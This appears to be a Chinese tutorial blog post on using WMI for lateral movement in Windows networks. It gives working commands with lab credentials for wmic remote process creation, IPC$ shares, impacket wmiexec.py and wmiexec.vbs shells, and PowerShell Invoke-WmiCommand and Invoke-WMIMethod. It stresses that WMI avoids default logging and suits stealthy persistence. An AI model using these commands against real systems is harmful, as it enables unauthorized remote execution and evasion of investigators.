WMI的使用

介绍

WMI的全名为"Windows Management Instrumentation"。从win8后,Windows操作系统都支持WMI,WMI可以在本地或者远程管理计算机系统。

自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是乎攻击者转向使用WMI进行横向移动。在渗透时发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。因为这个过程不会记录日志,所以对蓝队来说大大增加了溯源的成本。对攻击者来说,被发现的可能性降低,隐蔽性提高。很多APT组织现在都喜欢使用WMI进行攻击。

基本命令

首先我们执行如下命令,将输出结果保存在目标机器对应的C盘目录下

wmic /node:192.168.108.101 /user:Administrator /password:Admin12345 process call create "cmd.exe" /c ipconfig >C:\ip.txt

在这里插入图片描述
然后我们建立IPC共享命名管道,用于读取执行结果

net use \\192.168.108.101\ipc$ "Admin12345" /user:Administrator

在这里插入图片描述

type \\192.168.108.101\C$\ip.txt

在这里插入图片描述
其实接下来的话我们都可以使用wmic进行远程执行命令,但是目标服务器需要开放135端口,wmic会以管理员权限在远程系统中执行命令。如果目标服务器开了防火墙,wmic将无法进行连接。除此之外,单纯使用wmic命令它没有回显,需要配合IPC$命名管道和type命令进行文件内容的查看。若我们执行的是恶意程序,将不会留下日志信息。

impacket工具包中的wmiexec

在kali上安装impacket工具包,我们使用wmiexec.py这个利用脚本获取目标系统的Shell。该方法主要是从Linux向Windows进行横向渗透测试时使用

python3 wmiexec.py administrator:Admin12345@192.168.108.103

在这里插入图片描述

wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。wmiexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell。

cscript.exe //nologo wmiexec.vbs /shell 192.168.108.103 administrator Admin12345

在这里插入图片描述
对于运行时间较长的命令,需要添加-wait 5000或者更长的时间参数。在运行nc等不需要输出结果但需要一直运行的进程时,使用-persist参数,就不需要使用taskkill命令来远程结束进程了。

Invoke-WmiCommand

该脚本调用WMI来远程执行命令,本质上还是在利用WMI。这里实施成功的权限为RemoteSigned

//目标系统用户名
$User="hacke.testlab\administrator"
//目标系统密码
$Password=ConvertTo-SecureString -String "Admin12345" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
//远程执行命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.108.103
//将结果输出到屏幕上
$Remote.PayloadOutput

在这里插入图片描述

Invoke-WMIMethod

利用powershell自带的Invoke-WMIMethod,可以在远程系统中执行命令和指定程序。这个命令的好处是不会收到策略权限的限制,是权限持久化的较好选择。

//目标系统用户名
$User="hacke.testlab\administrator"
//目标系统密码
$Password=ConvertTo-SecureString -String "Admin12345" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
//在远程系统中运行"计算器"程序
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.108.103" -Credential $Cred

在这里插入图片描述

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值